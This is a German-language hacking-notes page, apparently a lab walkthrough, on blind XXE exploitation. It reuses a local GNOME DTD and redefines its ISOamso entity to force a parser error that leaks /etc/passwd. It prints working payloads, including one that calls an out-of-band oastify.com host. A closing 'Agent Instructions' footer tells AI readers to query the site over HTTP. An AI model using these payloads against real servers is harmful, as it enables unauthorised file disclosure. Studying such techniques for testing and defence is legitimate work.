> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# Wiederverwendung einer lokalen DTD zur Datenextraktion

### Ausnutzung von XXE zum Abrufen von Daten durch Wiederverwendung einer lokalen DTD

Betrieb einer XXE-Schwachstelle bei der Funktionalität zum Prüfen des Lagerbestands: Der Server scannt XML, zeigt das Ergebnis aber nicht direkt an. Der Ansatz besteht darin, auf eine lokale DTD zu verweisen, die auf dem Server vorhanden ist, und eine Entität neu zu definieren, um einen Fehler zu verursachen, der enthält `/etc/passwd` Inhalt aus.

Systeme, die die GNOME-Umgebung verwenden, verfügen oft über eine lokale DTD unter `/usr/share/yelp/dtd/docbookx.dtd` die eine Entität mit dem Namen definiert `ISOamso`. Mithilfe dieser bereits vorhandenen DTD bösartige parametrische Entitäten einschleusen

Den XML-Parser dazu zwingen, einen Fehler zu erzeugen, der offenlegt `/etc/passwd` Inhalt, indem eine lokale DTD-Entität neu definiert wird.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/448dd38a830de9379da3749078ac3ec6181bca16" alt=""><figcaption></figcaption></figure>

Der vorherige Versuch erzeugt einen Fehler auf Serverseite.

<figure><img src="/files/2accc236c74e82acbacb4d937a744d0161017008" alt=""><figcaption></figcaption></figure>

Die lokale DTD wird deklariert und die `ISOamso` Entität wird neu definiert, um parametrische Entitäten einzuschleusen, die lesen `/etc/passwd` und dann eine Exfiltration durch eine nicht vorhandene Entität erzwingen, um einen Fehler zu verursachen, der den gelesenen Inhalt enthält.

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

Wenn die lokale DTD eingebunden ist und die `ISOamso` Entität wie oben neu definiert wird, versucht der Parser, die `exfil` Entität auf einen nicht vorhandenen Pfad verweist (`file:///noexist/...`). Diese Auflösung verursacht einen Fehler des Parsers, der in seiner Spur das Ergebnis der Erweiterung enthält — also den Inhalt von `/etc/passwd` erscheint in der vom Server zurückgegebenen Fehlermeldung.

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="/files/4f0b9092dc387d384d936b62d260e641535274ed" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
